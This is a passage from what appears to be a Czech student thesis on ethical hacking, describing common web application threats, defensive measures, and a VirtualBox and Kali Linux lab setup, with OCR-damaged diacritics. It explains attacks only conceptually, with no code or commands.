v souladu s etikou a zakonem. (Gutheil, a dalsi, 2017)

V Ceské republice se v prab&hu poslednich tii let vénuje zvysena pozornost etickému
hackingu v reakci na rostouci potfebu kybernetické bezpeCnosti. Zprava o kybernetické
bezpecnosti z roku 2020 zdiraziuje dilezitost etického hackingu jako nastroje k posilovani
narodni digitalni infrastruktury a zabezpeceni dat. Je dilezité poznamenat, Ze pravni normy
vyzaduji, aby eticti hackefi dodrzovali stanovené smérnice a zabezpecovali ochranu dat proti
kyberkriminalité. Byly také zahajeny vzdélavaci programy pro etické hackery, coz potvrzuje
vyznam této discipliny v zemi. (Rehka, 2020)

Existuje neékolik zasadnich pravnich predpist tykajicich se kybernetické kriminality:

o Clanek 84 - Mezi hackery black-hat a white-hat existuje jemna hranice. Tento
clanek stanovuje ochranu, kterou poskytuje vlada, spravci a dalsim osobam,
které jednaji v dobré vife yjménem teéchto autorit. Eticky hacker jmenovany
vladou nebo spravcem jedna v souladu se zdkony a predpisy. (Shukla, 2019)

e Zakon § 43 - Podle tohoto zékona se jedna o trestny Cin, pokud osoba bez
souhlasu vlastnika nebo jiné osoby upravuje, poSkozuje nebo naruSuje

pocitaCovou sit, stahuje, kopiruje nebo ziskava z ni data. Pokud osoba jedna
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na zaklad€ povéfeni nebo v dobré vife, nenese odpoveédnost za zplisobenou
skodu. (Shukla, 2019)

e Clanek 43-A — Tento ¢lanek stanovi, Ze nedostatena ochrana dat zavazuje
osobu k nahradé Skody. Eticky hacker, ktery nedodrzi ochranu udaju, nese
odpovédnost podle tohoto clanku. (Shukla, 2019)

e (ddil 66 - Tento oddil zadkona upravuje trestné Ciny souvisejici s pocitaci.
Kazda osoba, ktera se dopusti nepoctivého a podvodného jednani podle ¢lanku
43, muze byt potrestana trestem trvajicim az 3 roky. (Shukla, 2019)

e Zakon § 66-F — Vladni agentury mohou najimat kybernetické odborniky, aby
se branily kybernetickému terorismu podle § 66-F, kde je definovano
neopravnéné nebo prekroceni opravnéného pristupu. (Shukla, 2019)

Je nezbytné, aby organizace pied provedenim penetracniho testovani zvazily etické a pravni
aspekty. (Gillam, 2023) Timto zptisobem Ize zajistit, Ze testovani bude provadéno

zodpovédné a profesionalné a minimalizuji se potencialni rizika. (Shukla, 2019)
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3.2 Webové aplikace

Webova aplikace je pocitaCovy program ulozeny na vzdaleném serveru a spoustény uzivateli
prostfednictvim webového prohlizeCe. Je to aplika¢ni program, ktery vyuziva mnoho
webovych technologii k provadéni ukold na internetu. (Javatpoint, 2023) Webové aplikace
maji nékolik vyhod oproti klasickym desktopovym aplikacim. Pouziti prohlizec umoziuje
kompatibilitu aplikace s vétSinou standardnich pocitact a operacnich systému. Dale webové
aplikace nezabiraji pamét na pevném disku pocitace a jsou pfistupné témér z jakéhokoli
pocitaCe nebo zafizeni, které ma uzivatel k dispozici. (Volle, 2022)

Dal$i vyhodou webovych aplikaci je moznost souasného pouzivani vice uzivateli, coz
umoziuje soucasnou ucast a spolupraci. Ackoli webové aplikace vyzaduji pfipojeni k siti,
s rozSifenim internetu toto omezeni ztraci na vyznamu. Webové aplikace mohou mit rtizné
ucely, od internetovych obchodt, webovych e-mailt, kalkulacek, az po platformy socialnich
médii. Vétsina webovych aplikaci je pfistupnd pomoci bézného webového prohlizecCe, ale
nekteré specialni typy vyzaduji specifické prohlizece. (Volle, 2022)

Webové aplikace Casto vyuzivaji skripty na strané serveru, jako je PHP nebo ASP, pro
zpracovani informaci a ukladani dat. Klient strana mize vyuzivat skripty jako JavaScript
a HTML pro reprezentaci dat pred uzivateli. Nékteré webové aplikace kombinuji skripty na
stran€ serveru i klienta. Webové aplikace umoziuji uzivatelim komunikovat s organizacemi
nebo firmami pomoci online formulafa, for, nakupnich kosika, systémt spravy obsahu
a dalSich nastroja. (Javatpoint, 2023)

Uzivatelé mohou také vytvatet a sdilet dokumenty a data pomoci webovych aplikaci. Diky
nim mohou uzivatelé spolupracovat na projektech bez ohledu na geografickou polohu.
Webové aplikace poskytuji uzivatelim flexibilitu a snadny pfistup k funkcim a informacim

prostfednictvim internetu. (Javatpoint, 2023)

3.2.1 Bezpecnostni hrozby a potencionalni rizika

Webové aplikace mohou celit fadé typua ttoku v zavislosti na cilech Gto¢nika, povaze prace
cilové organizace a konkrétnich bezpecnostnich nedostatcich aplikace. (Cloudflare, 2023)
ZabezpeCeni webovych aplikaci je kliCové pro ochranu dilezitych dat a branéni se proti
kybernetickym hrozbam. Bez adekvatnich bezpecnostnich opatfeni mohou webové
platformy padnout za obét hackerim, coz muze mit za nasledek financni ztraty, kradeze

identit a Skody na jednotlivcich ¢i firmach. (Wallis, 2023)
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3.2.1.1 Zranitelnosti nultého dne

Jedna se o zranitelnosti, které tviirci aplikace neznaji, a které tedy nemaji k dispozici opravu.
Utolnici se pokousi tyto zranitelnosti rychle zneuZit idealnd v den vydani aplikace.
(Cloudflare, 2023) Tyto zranitelnosti mohou byt vyuzity utocniky k provadeéni
neopravnénych operaci, jako je napiiklad neautorizovany pfistup k citlivym datim,
implantace Skodlivého softwaru nebo ovladnuti systému. (Eset, 2023)

Uto&nici mohou tyto zranitelnosti vyuzit k infikovani systému riiznymi typy malware, jako
je spyware, trojsky kan, ransomware, keylogger nebo jiné formy Skodlivého softwaru. Tim

muze dojit k uniku dat nebo dokonce k ovladnuti cilového zatizeni. (Eset, 2023)

3.2.1.2 Cross site scripting (XSS)

XSS je zranitelnost, ktera utocnikovi umoziiuje injektovat skripty na strané klienta do
webové stranky s cilem ziskat ptimy pfistup k dilezitym informacim. (Cloudflare, 2023)
Vydava se za uzivatele nebo se uzivatele pokousi oklamat, aby odhalil dilezité informace.
(Wallis, 2023) Pokud uzivatel navstivi stranku napadenou XSS, muze dojit k automatickému
spusténi Skodlivého kodu ve webovém prohlizeci, coz mize mit za nasledek rizné atoky
a nezadouct aktivity. (KirstenS, 2024)

Existuje nékolik druht XSS utokd, jako je Reflected XSS, Stored XSS a DOM-based XSS,
které se li§i v metodach vstiikovani a spousténi $kodlivého kodu. UtoGnici mohou tuto
zranitelnost vyuzit k aniku citlivych dat, pfesmérovani uzivatelti na phishingové stranky,
kradezi cookies, manipulaci obsahu stranek a dal§im nezadoucim aktivitam. (KirstenS,

2024)

3.2.1.3 SQL injection (SQL1)

SQLi je metoda, kdy utoCnik zneuziva zranitelnosti ve zpasobu, jakym databaze provadi
vyhledavaci dotazy. (Wallis, 2023) Uto&nici pomoci SQLI ziskavaji pfistup k neopravnénym
informacim, upravuji nebo vytvareji nova uzivatelska opravnéni, manipulyji s citlivymi daty
nebo je nici. (Cloudflare, 2023)

Existuje mnoho zpusobu, jak provadét SQL injection, vCetné vkladani SQL kodu do
formulait, URL parametrd, HTTP hlavigek a dal§ich uzivatelskych vstupi. Utonik mize
vlozit SQL piikazy, aby ziskal citliva data, jako jsou hesla a uzivatelska jména ulozena
v databazi. Je dilezité, aby organizace piijaly opatieni k prevenci téchto utokut a chranily tak

bezpecnost svych systému a dat. (Acunetix, 2024)
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3.2.1.4 Utoky typu DoS (Denial-of-service) a DDoS (distributed denial-of-service)

Predstavuji formy kybernetickych utoku, které zneuzivaji zdroje k zablokovani pfistupu
uzivatela k cilovému prostfedku, jako jsou webové stranky, e-mailové servery, telefonni sité
a dalsi komunikacni infrastruktura. (Thefastcode, 2023)

Prostfednictvim raznych vektord jsou utoCnici schopni pretizit cilovy server nebo jeho
okolni infrastrukturu. (Wallis, 2023) Kdyz server pfestane byt schopen efektivné
zpracovavat prichozi pozadavky, zafne se zpomalovat, anakonec odmitne obsluhu

prichozich pozadavku od legitimnich uzivateld. (Cloudflare, 2023)

3.2.1.5 PreteCeni vyrovnavaci paméti

PreteCeni vyrovnavaci paméti je anomalie, ke které dochazi, kdyz software zapisuje data do
definovaného prostoru v paméti znamého jako vyrovnavaci pamét. Toto chovani 1ze zneuzit
k vlozeni Skodlivého kodu do paméti a potencialné tak vytvofit zranitelnost v cilovém
pocitaci. (Cloudflare, 2023)

Uto¢nici mohou piebytetna data, uchovavana v sousednich adresach paméti, pouzit jako
vychozi bod pro zahajeni utoku. Je dilezité implementovat bezpeCnostni opatieni, jako je
kontrola vstupti a vystupt, a pravidelné aktualizovat softwarové systémy, aby se

minimalizovala moznost vyuziti této zranitelnosti itoCniky. (Imperva, 2023)

3.2.1.6 Cross site request forgery (CSRF):

Cross site request forgery spociva v podvedeni obéti, aby provedla pozadavek, ktery vyuziva
jejiho ovéfeni nebo autorizace. (Cloudflare, 2023) Vyuzitim opravnéni Gc¢tu uzivatele je
utocnik schopen odeslat pozadavek vydavajici se za uzivatele. (Glas, a dalsi, 2021)

Po kompromitaci uzivatelova u¢tu mize utoCnik zniCit nebo zménit dilezité informace.
Utolnici se b&Zné zam&iuji na vysoce privilegované uéty, jako jsou spravci nebo vedouci

pracovnici. (Glas, a dalsi, 2021)

3.2.1.7 Zneuziti rozhrani API

Rozhrani API neboli rozhrani pro programovani aplikaci je software, ktery umoziuje dvéma
aplikacim vzajemné komunikovat. (Cloudflare, 2023) Stejné jako kazdy typ softwaru mohou
obsahovat zranitelnosti, které uto¢nikiim umoznuji odeslat do jedné z aplikaci skodlivy kod

nebo zachytit citlivda data pii jejich pfenosu zjedné aplikace do druhé. S rostoucim
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vyuzivanim rozhrani API se jedna o stale Castéjsi typ utoku. Rizika, kterym dnes organizace

¢eli jsou shrnuta v seznamu OWASP API. (Glas, a dalsi, 2021)

3.2.1.8 Zneuziti kddu tietich stran

Mnoho modernich webovych aplikaci vyuziva rizné nastroje tfetich stran jako napfiklad
weby elektronického obchodu pouZivajici nastroj tieti strany pro zpracovani plateb. Uto&nici
mohou byt schopni tento nastroj kompromitovat a ukrast data, kterd zpracovava, zabranit
jeho fungovani nebo jej pouzit k injektazi Skodlivého kodu na jiné misto v aplikaci.

(Cloudflare, 2023)

3.2.1.9 Chybna konfigurace uto¢né plochy

Uto¢na plocha organizace je cela jeji IT stopa, kterd miZe byt nachylna ke kybernetickym
utokam: servery, zafizeni, SaaS a cloudova aktiva, ktera jsou pfistupna z internetu. Tato
utocna plocha muze zlstat zranitelna vic¢i atokim v dasledku prehlédnuti nebo chybné
konfigurace nekterych prvki. (Cloudflare, 2023) Pfi prazkumu v roce 2021 az 90 % aplikaci

bylo testovano na néjakou formu chybné konfigurace. (Glas, a dalsi, 2021)

3.2.2 Zpusoby ochrany webovych aplikaci

Zabezpeceni webovych aplikaci je rozsahla a neustale se meénici disciplina. (Xu, 2021)
Ochrana se proto odviji od toho, jak se objevuji nové utoky a zranitelnosti. V dnesni dobé je
internetovych hrozeb je tolik aktivnich, ze se zadna organizace neobejde bez urcitych
bezpecnostnich sluzeb. (Cloudflare, 2023)
Webovych aplikace jsou Castym teréem hackerskych utoki a mohou byt napadnuty
odkudkoli na svété. Pfesto existuji standardizované metody a nastroje, které umoziuji
vyvojaium vytvaret bezpecné aplikace. (Xu, 2021)
1. Zmirnovani utoku DDoS — Sluzby pro zmirnéni DDoS se nachéazeji mezi serverem
a vefejnym internetem a pouzivaji specializovanou filtraci a extrémné vysokou
kapacitu pasma, aby zabranily narazovému Skodlivému provozu zahltit server. Dnes
se bez této sluzby neda obejit, protoze moderni utoky DDoS dokéazou zahltit
i nejodolnéjsi servery. (Cloudflare, 2023)
2. Brana WAF (Web Application Firewall) — Brana filtrujici provoz, o némz je

znamo nebo existuje podezieni, ze vyuziva zranitelnosti webovych aplikaci. Nové
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3.2.3

zranitelnosti se objevuji piilis rychle a tiSe na to, aby je téméf vSechny organizace
dokazaly zachytit samy. (Cloudflare, 2023)

Brany API — Pomahaji spravovat a monitorovat provoz API, identifikovat
prehlizena rozhrani API a blokuji provoz, o némz je znamo, ze se zaméfuje na
zranitelnosti rozhrani API, nebo je podeziely zjejich zneuziti. (Cloudflare, 2023)
(Xu, 2021)

DNSSEC - Protokol, ktery zarucuje, ze provoz DNS webové aplikace je bezpecné
smérovan na spravné servery, takze uzivatelé nejsou napadeni UtoCnikem na ceste.
(Cloudflare, 2023)

Sprava Sifrovacich certifikata — Treti strana spravuje klicové prvky Sifrovaciho
procesu SSL/TLS, jako je generovani soukromych klict, obnovovani certifikatt
a odvolavani certifikati z divodu zranitelnosti. To ma za nasledek odstranéni rizika
prehlédnuti téchto prvka a odhaleni soukromého provozu. (Cloudflare, 2023)
Sprava botu — Vyuziva strojové uceni a dalsi specializované metody detekce
k rozliSeni automatizovaného provozu od lidskych uzivatelt a zabrani tém prvnim
v pristupu k webové aplikaci. (Cloudflare, 2023)

Zabezpeceni na strané klienta — Kontroluje nové zavislosti na JavaScriptu tfetich
stran a zmény kodu tfetich stran, coz pomaha organizacim dfive zachytit §kodlivé
aktivity. (Cloudflare, 2023) (Xu, 2021)

Sprava uto¢ného povrchu — Ak¢ni nastroje pro spravu utoéného povrchu by mély
poskytovat jediné misto, kde 1ze zmapovat uto¢ny povrch, identifikovat potencialni

bezpecnostni rizika a nékolika kliknutimi je zmirnit. (Cloudflare, 2023)

Metody a technologie pro ochranu webovych aplikaci

Existuje nekolik metod a technik pro ochranu webovych aplikaci mezi které patii kontroly

zabezpeceni aplikaci. (Crowdstrike, 2023) To jsou techniky, které zlepSuji zabezpeceni

aplikaci na urovni kodu a snizuji zranitelnost. Jsou navrzeny tak, aby reagovaly na

neoCekavané vstupy, jako jsou vstupy zpusobené vnéjSimi hrozbami. Pomoci kontrolnich

mechanismi zabezpeCeni aplikaci maji programatofi veétsi kontrolu nad reakcemi na

neoCekavané vstupy. ZabezpeCeni aplikaci pomaha podnikim odvratit hrozby pomoci

nastroju a technik urenych ke snizeni zranitelnosti. (Krishna, 2021)

Jsou to kroky piid€lené vyvojaiim k implementaci bezpecnostnich standardd. Jednim

z hlavnich predpist, které musi podniky dodrzovat, je specialni publikace Narodniho
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institutu pro standardy atechnologie (NIST SP), ktera poskytuje pokyny pro vybér
bezpecnostnich kontrol. (Crowdstrike, 2023)
Existuji razné typy kontrol zabezpeceni aplikaci urcené pro rtizné piistupy k zabezpeceni,
které zahrnuji: (Crowdstrike, 2023)
1. Autentizace: Potvrzeni, zda je identita uzivatele platna; nezbytné pro vynuceni
pfistupu zalozeného na identité. (Crowdstrike, 2023)
2. Sifrovani: Pfevod informaci nebo dat do kodu, aby se zabranilo
neopravnénému pristupu; muze se tykat jednotlivych souborid nebo celého
projektu. (Crowdstrike, 2023)
3. Protokolovani: Zkoumani Cinnosti uzivatele za ucelem kontroly pfipada
podezielé cinnosti nebo naruseni. (Crowdstrike, 2023)
4. Kontroly platnosti: Kontrola, zda zadana a zpracovavana data spliuji urcita
kritéria. (Crowdstrike, 2023)
5. Kontrola pfistupu: Omezeni pfistupu k aplikacim na zakladé IP adres nebo

jinak opravnénych uzivatelt. (Crowdstrike, 2023)

3.2.4 Bezpecnostni opatieni

Vytvoreni planu zabezpeceni webové aplikace — Provozovat webovou aplikaci bez planu
zabezpeceni je nebezpecné. Proto je dobré si pfipravit plan, co délat, pokud bude webova
aplikace napadena hackery. Plan by mél obsahovat konkrétni udaje o osobach, které
webovou aplikaci chrani, a o tom, ktera aplikace by méla byt zabezpecena jako prvni, pokud
spolecnost Celi krizi. (Krishna, 2021) Dulezitou casti je provadéni neustalého testovani
prostiednictvim manualniho, cloudového feseni, softwaru nebo poskytovatelti spravovanych
sluzeb. (Beatrice, 2020)

Sledovani aktiv — Zaméstnanec nebo vlastnik webové aplikace nemuze znat kazdy detail ve
své organizaci. Je ale dulezité mit zakladni povédomi o tom, které servery organizace
pouziva pro konkrétni funkce nebo aplikace. Sledovani softwarového majetku zachraiuje
pred katastrofou, ktera by mohla pfijit v budoucnu. Tento proces by mél byt co nejvice
automatizovan, aby organizace mohly skalovat sviij vyvoj. (Beatrice, 2020)

Posouzeni hrozeb — Sestavenim seznamu toho, co je tieba ve webové aplikaci chranit
pomuze zjistit, jaky druh bezpecnostnich probléma hrozi a co by se dalo udélat jako

proaktivni opatfeni k jeho zakryti. Je nutné se soustiedit na moznosti jaké cesty by mohli
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hackefi pouzit k prolomeni aplikace, jaka jsou stavajici bezpecnostni opatieni, ktera by utok
odhalila nebo mu zabranila, jaké jsou zapotiebi nastroje a dalsi. (Beatrice, 2020)
Prioritizace zabezpeceni — Organizace si jiz nemohou dovolit ponechat kybernetickou
bezpecnost pouze na bezpecnostnich specialistech. Zabezpeceni webovych aplikaci by mélo
byt integrovano do vSech fazi procesu vyvoje, provozu a testovani. (Beatrice, 2020)
Zialohovani dat webovych stranek — Zalohovani vSech informaci na webovych strankach
je povinny proces. Zalohovani maze pomoci v piipadé napadeni malwarem nebo naruSeni
bezpecnosti, protoze organizaci bude stacit obnovit webovou aplikaci a ziskat ptistup ke
svym dfive ulozenym datim. (Beatrice, 2020) (Krishna, 2021)

Zavedeni programu odmén — Skvélym zpusobem, jak ziskat zpétnou vazbu od komunity
ohledné potencialnich problému se zabezpecenim webovych aplikaci, je zavedeni programu
odmén. Nabidnutim odmeény a penéznich hodnot lze podpofit komunitu v oblasti
bezpecnostnich rizik. (Beatrice, 2020)

Sifrovani dat — Sifrovani je zakladni proces kodovani informaci, ktery je chrani pied
kymkoli, kdo k nim nema opravnény piistup. Samotné Sifrovani nezabrafiuje zasahim do
prenosu dat, ale zastira srozumitelny obsah pro ty, kteti k nému nemaji opravnéni. Lze pouzit
i k zabezpeceni dat v klidu. (Beatrice, 2020)

Skenovani zranitelnosti — Pravidelné kontroly a skenovani zabezpecCeni mohou udrzet
riziko webovych aplikaci. Skenovani je nutné provadét na urcité bazi. Odborniky je
doporucovano alespon jednou tydné nebo kdyz dojde ke zméng. (Beatrice, 2020)
Automatizace a integrace bezpecnostnich nastroju — V dnesni dobé vétsina IT instituci
poskytuje automatizovana a integrovana bezpecnostni feSeni, nebot’ manualni kroky jsou
nachylné na vétsi riziko hrozby. Zpravy o automaticky ovéfenych zranitelnostech se nacitaji
ptimo do sledovaci chyb vyvojait a rovnou do faze opravy. (Beatrice, 2020)

Skoleni zaméstnancti — Neustalé Skoleni zaméstnancd ajejich pravidelné testovani
v oblasti zabezpeCeni webovych stranek. Nektefi maji bud jen zékladni znalosti o této
problematice, nebo vibec zadné. Diky tomu budou sami odhalovat zranitelna mista.
(Beatrice, 2020) Je dilezité organizovat vzdélavaci kurzy i pro vyvojaisky tym v oboru
zabezpeceni, coz posili jejich znalosti o nejlepSich praktikach v oblasti zabezpeceni
webovych aplikaci. Diky tomu budou schopni vytvaret bezpecnéjsi kod a eliminovat typické
chyby vedouci k zranitelnostem. (Krishna, 2021)
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3.3 Prostredi

Vytvoreni virtudlni laboratofe pro penetracni testovani umozni vytvofit bezpené prostiedi
pro zdokonalovani dovednosti, Skalovat prostfedi a pfidavat nové zranitelné systémy,
a odstrariovat starSi systémy, které nejsou potieba, a dokonce vytvaret virtualni sité pro
presun utokt z jedné sit€ do druhé. (Sinha, 2017 str. 18)

Koncept vytvoreni vlastni virtualizované laboratoife pro penetrani testovani umozni
maximalizovat prostiedky na stdvajicim pocitaci, bez nutnosti ndkupu online laboratotfe od
raznych poskytovatelti sluzeb nebo dokonce kupovat dalsi pocitace a sluzby. (Singh, 2022
str. 33)

3.3.1 Virtual Box

VirtualBox pfedstavuje robustni virtualiza¢ni feSeni pro architektury x86 a AMD64/Intel64,
vhodné jak pro podnikové, tak pro doméci prostifedi. Nabizi Sirokou Skalu funkci a vysoky
vykon pro korporatni klienty, a zaroveti je jednim z mala profesionalnich virtualizanich
nastroji s otevienym zdrojovym kdédem dostupnym pod licenci GNU General Public
License (GPL) verze 3. (Hasenmueller, 2023)

VirtualBox aktualné podporuje operacni systémy Windows, Linux, MacOS, Solaris a dalsi.
Podporuje i Sirokou paletu hostovanych operacnich systému, v¢etn€ riznych verzi Windows,
DOS/Windows 3.x, riznych verzi Linuxu, Solaris a OpenSolaris, OS/2 a OpenBSD.
(Hasenmueller, 2023)

Vyvoj VirtualBoxu je dynamicky a jeho aktualizace jsou pravidelné zvetejiiovany. Seznam
podporovanych funkci, hostovanych opera¢nich systému a platforem je kontinualné
roz§ifovan. VirtualBox je komunitnim projektem, ktery je podporovan spolecnosti Oracle,
jez se zavazala udrzovat produkt na profesionalni urovni kvality. (Hasenmueller, 2023)
VirtualBox nabizi hodnotu pro spravce IT, koncové uzivatele a vyvojafe tim, ze jim
poskytuje flexibilni nastroj pro praci s virtualnimi pocita¢i. VirtualBox umoziuje vyvoj
aplikaci na mnoha riznych platformach a simulaci virtualnich siti pro dikladné testovani
svych produkta. (Wallen, 2017)

A ikdyz mnoho odbornikd vnima VMware jako vedouci podnikové virtualiza¢ni feSeni,
VirtualBox ma své pevné misto v podnikovém prostiedi diky své schopnosti efektivné

a spolehlivé provozovat virtualni pocitace. (Wallen, 2017)
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3.3.1.1 Vyuziti a vyhody VirtualBoxu

Spusténi vice, Casto ruznych, operacnich systému na jednom pocitaci za ucelem testovani

raznych typt utokd nebo scénaiti. To poskytuje nakladove efektivni metodu, jak to provést

bez nutnosti pouzivat vice pocitacl, a také poskytuje prostiedi, které Ize snadno obnovit

a znovu spustit nebo prehrat, pokud se néco poSkodi nebo je tieba provést demonstraci

klientovi. (Zerodaysnoop, 2020)

Provozovani jiného operacniho systému pro ucely penetracniho testovani, nez jaky se

pouziva na bézném pocitaci pro e-mail, psani dokumentu atd., navic virtualni pocitace chrani

hostitelsky pocita¢ pred ¢innostmi provadénymi ve virtualnim pocitaci. (Wallen, 2017)

Mezi hlavni vyhody tohoto pfistupu patfi:

Naékladova efektivita: Umoziiuje vyrazné uspory, jelikoz odpada potieba pofizovat
a spravovat vice fyzickych stroji pro kazdy operacni systém.

Bezpecnost: Pracovni prostfedi ve virtudlnim stroji je izolovano, €imz chréni
hostitelsky systém pied potencialné Skodlivymi akcemi provadénymi v ramci
virtualniho pocitace.

Flexibilita a pohodli: Snadna migrace, kopirovani a spousténi riiznych operacnich
systému podle aktualnich potieb.

Snadné zalohovani a obnoveni: Umoziuje rychlé obnoveni systéma do pavodniho
stavu, coz je idealni pro testovaci a vyvojové ucely.

Kompatibilita: Virtualni stroje zajistuji konzistentni prostfedi bez ohledu na fyzicky
hardware.

Stabilita: Nehavaruje-li jeden virtualni stroj, nijak neovlivni ostatni provozované
virtualni stroje ani hostitelsky systém.

Licencovani: V urcCitych piipadech muze umoznit efektivngj§i spravu licenci
softwaru.

Podpora tenkych klienti: V kombinaci s vykonnymi vzdalenymi servery lze

efektivné vyuzivat tenké klienty, coz snizuje celkové provozni naklady.

Vysledkem je, ze virtualni pocitace nabizeji modernim IT tymim vyraznou flexibilitu

a efektivitu, pfi¢emz minimalizuji rizika a zarovenl zvySuji produktivitu. (Zerodaysnoop,

2020)
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3.3.1.2 Rizika pouzivani VirtualBoxu

VirtualBox technologicky separuje virtualni pocita¢ od hlavniho, hostujiciho operacniho
systému. I kdyz se VirtualBox pouziva pravé se zamérem zamezeni jakéhokoliv rizika na
vlastnim zafizeni, presto existuji situace, kdy miize interakce s virtualnim prostfedim ohrozit
bezpecnost hostitelského systému. (Das, 2022) Oracle VirtualBox funguje jako koordinator
virtualnich pocitaci z vice operanich systémi a muze zlepSit vykon hostovanych
virtualnich pocitacu. Jedna se o bezplatny software s otevienym zdrojovym kodem, ktery si
muze stahnout kazdy. (Tight, 2023)

e Nedostatecna aktualizace virtualniho pocitace: Presto ze se jedna o jednouchou véc,
tak u virtualnich stroji dochazi praveé k opomijeni aktualizace. (Campbell, 2022) At
jiz je na virtudlnim stroji nainstalovan Windows, Linux ¢i jiny operacni systém,
pravidelné aktualizace jsou nezbytné pro jeho bezpetné fungovani. Pii zaméru
uchovavat konkrétni verzi operacniho systému pro testovani, stroj by se mél po
dokonceni testt bud’'to aktualizovat, nebo jej kompletn€ odstranit. (Das, 2022)

e Sdileni souborii mezi virtualnim a hostujicim systémem: Kdyz je povolen pfistup
k souborim a slozkam mezi t€émito dvéma prostfedimi, zvySuje se riziko ohrozeni
hlavniho systému. (Das, 2022) Mnozi uzivatelé Casto ve virtualnich strojich nemaji
nainstalovany antivirové feSeni, coz muze pii stahovani souborid z neovérenych
zdroji zvySovat riziko zabezpeceni. (Das, 2022) (Campbell, 2022)

e Instalace potencialn€ nebezpecnych aplikaci ve virtualnim prostredi: Virtualni stroje
Casto slouzi k testovani rizného softwaru, ktery by uzivatelé nemuseli chtit instalovat
pfimo na svij primarni systém. Pokud ale tato aplikace obsahuje zranitelnosti
a sdileni soubort je povoleno, mize to ohrozit i hostujici operacni systém. (Das,
2022)

Ackoli VirtualBox poskytuje izolované prostredi pro virtualni stroje a vétSina uzivatelt ho
pouziva prave k ucelim, pii kterych necht&ji ohrozit svij hostitelsky systém, je nezbytné

dbat na bezpecnostni opatieni, aby se minimalizovalo potencialni riziko. (Das, 2022)

3.3.2 Kali Linux

Kali Linux, ktery byl dfive znamy jako BackTrack Linux, je open-source linuxova distribuce
zalozena na Debianu. Je specificky navrzena pro pokroCilé penetracni testy a audit
informacni bezpecCnosti. Distribuce nabizi uzivatelsky pfivétivé nastroje, prednastavené

konfigurace a automatizacni skripty. (Wilson, 2023)
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V ramci Kali Linuxu lze nalézt fadu specializovanych uprav a stovky specializovanych
nastroju, které pokryvaji Siroké spektrum oblasti informacéni bezpecnosti — od penetracnich
testd, pies bezpecnostni vyzkum, prizkumu siti, identifikace a vyuziti zranitelnosti az po
forenzni analyzy areverzni inzenyrstvi, stejné jako nastroje pro spravu zranitelnosti
a testovani v ramci Red Team akci. (Singh, 2022 str. 38) V nabidce jsou rizné nastroje,
skripty a frameworky pro €innosti jako sbér informaci o cilovém systému, skenovani sit¢,
identifikace zranitelnosti nebo jejich vyuziti. (Wilson, 2023)

Ackoliv byl Kali Linux primarné€ navrzen pro specialisty v oblasti kybernetické bezpecnosti,
je vhodny 1 pro IT administratory a profesionaly zaméfené na sitovou bezpecnost. (Hertzog,
a dalsi, 2017) Tento systém je vybaven mnoha funkcemi a aplikacemi, které usnadiu;ji praci
penetranim testerim a bezpe¢nostnim specialistim. (Singh, 2022 str. 38) Kali Linux je
univerzalni feSeni dostupné avhodné jak pro profesiondly v oblasti kybernetické

bezpecnosti, tak pro entuziasty a amatéry. (Wilson, 2023)

3.3.2.1 Funkce systému Kali Linux

Kali Linux je vybaven bohatou paletou nastroji pro penetraéni testovani, ktera zahrnuje vice
nez 600 specializovanych aplikaci. Tento operacni systém je navic zcela bezplatny, coz
znamena, ze uzivatelé za néj nemusi platit. Jeho otevieny zdrojovy kod je volné piistupny,
coz umoznuje kazdému provadét apravy nebo prizptuisobeni dle svych potieb. (Wilson, 2023)
Dale je tfeba zdlraznit, ze Kali Linux dodrzuje standard Filesystem Hierarchy Standard
(FHS), coz usnadiiuje uzivatelim Linuxu lokalizaci binarnich soubort, knihoven a dalSich
esencialnich komponent. Systém byl navrzen s ohledem na kompatibilitu s co nejveétSim
poctem bezdratovych zafizeni, coz zarucuje jeho funkc¢nost na Sirokém spektru hardware.
Jadro Kali Linuxu je optimalizovano pro vstfikovani a obsahuje aktualni zaplaty pro tento
ucel. (Wilson, 2023) Bezpecnost je v centru pozornosti vyvojového tymu, ktery pracuje
v omezeném a zabezpeCeném prostiedi, ¢imz je zajiSténa integrita a bezpeCnost balicku
a repositaii. Vyvojafi rovnéz podepisuji vSechny balicky pomoci protokolu GPG, coz
zvySuje duvéru v jejich autenticitu. Kali Linux je multijazyény a umoziuje uzivatelim
pracovat v jejich matefském jazyce. Systém je navic plné€ pfizpasobitelny, takze uzivatelé
mohou snadno upravit své rozhrani a nastaveni dle vlastnich preferenci. (Wilson, 2023)

Tento operacni systém také nabizi podporu pro zafizeni na platformach ARMEL a ARMHF,
vcetné oblibenych systému jako Raspberry Pi a BeagleBone Black. Repositare pro tyto

platformy jsou integrovany piimo do hlavni distribuce, coz zaru€uje aktualnost nastroju. Kali
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Linux navic obsahuje nastroje a materialy vhodné pro vzdélavani v oblasti kybernetické
bezpecnosti, diky cemuz je vhodny jak pro odborniky, tak pro zacatecniky. (Wilson, 2023)
Operacni systém je pravidelné aktualizovan snovymi bezpecnostnimi opatfenimi
a funkcemi, coz ho udrzuje v Cele primyslového vyvoje. Silna komunita za nim zarucuje
pfistup k rozsahlym forim, navodim a feSenim. Uzivatelé maji moznost instalovat Kali
Linux na rizna zafizeni, od stolnich pocita¢l a notebooki, pfes mobilni zafizeni, az po
cloudové servery. Pro ty, ktefi preferuji virtualni prostredi, Kali Linux nabizi optimalizace
a nastroje pro snadnou virtualizaci. Modularni struktura systému pak umoziuje uzivatelim
vybrat si, které aplikace a sluzby chtéji mit nainstalované. (Wilson, 2023)

Kali Linux rovnéz poskytuje bezpecné prostiedi pro testovani a analyzu a minimalizuje tak
riziko poskozeni cilovych systéml. Uzivatelé mohou navic snadno integrovat tento systém
s popularnimi bezpecnostnimi frameworky, jako jsou Metasploit, Nmap a dalsi. Zavérem je
tfeba zduraznit, ze Kali Linux byl navrzen s dirazem na etické hackovani a kybernetickou
bezpeCnost, coz uzivatelim poskytuje nastroje a praxe v souladu s pravnimi normami

a profesni etikou. (Wilson, 2023)

3.3.2.2 Oblibenost Kali Linux mezi hackery

Distribuce Kali Linux je v bezpeCnostni komunité vysoce cenéna diky svému
specializovanému zaméfeni. Nabizi Sirokou skalu nastrojii pro penetracni testovani,
bezpecnostni analyzu, pocitacovou forenziku a reverzni inzenyrstvi. Vyvoj systému Kali
Linux probiha v maximalné zabezpeCeném prostiedi aje svéfen omezenému poctu
ovérenych jednotlived. Ti maji opravnéni piidavat a aktualizovat softwarové balicky. Kazdy
z téchto balickld je navic digitalné podepsan svym vyvojafem pro zajiS§téni autenticity.

(Techspot, 2023)

3.3.3 DVWA

Damn Vulnerable Web App zkracené¢ DVWA je webova aplikace vytvoirena v PHP/MySQL
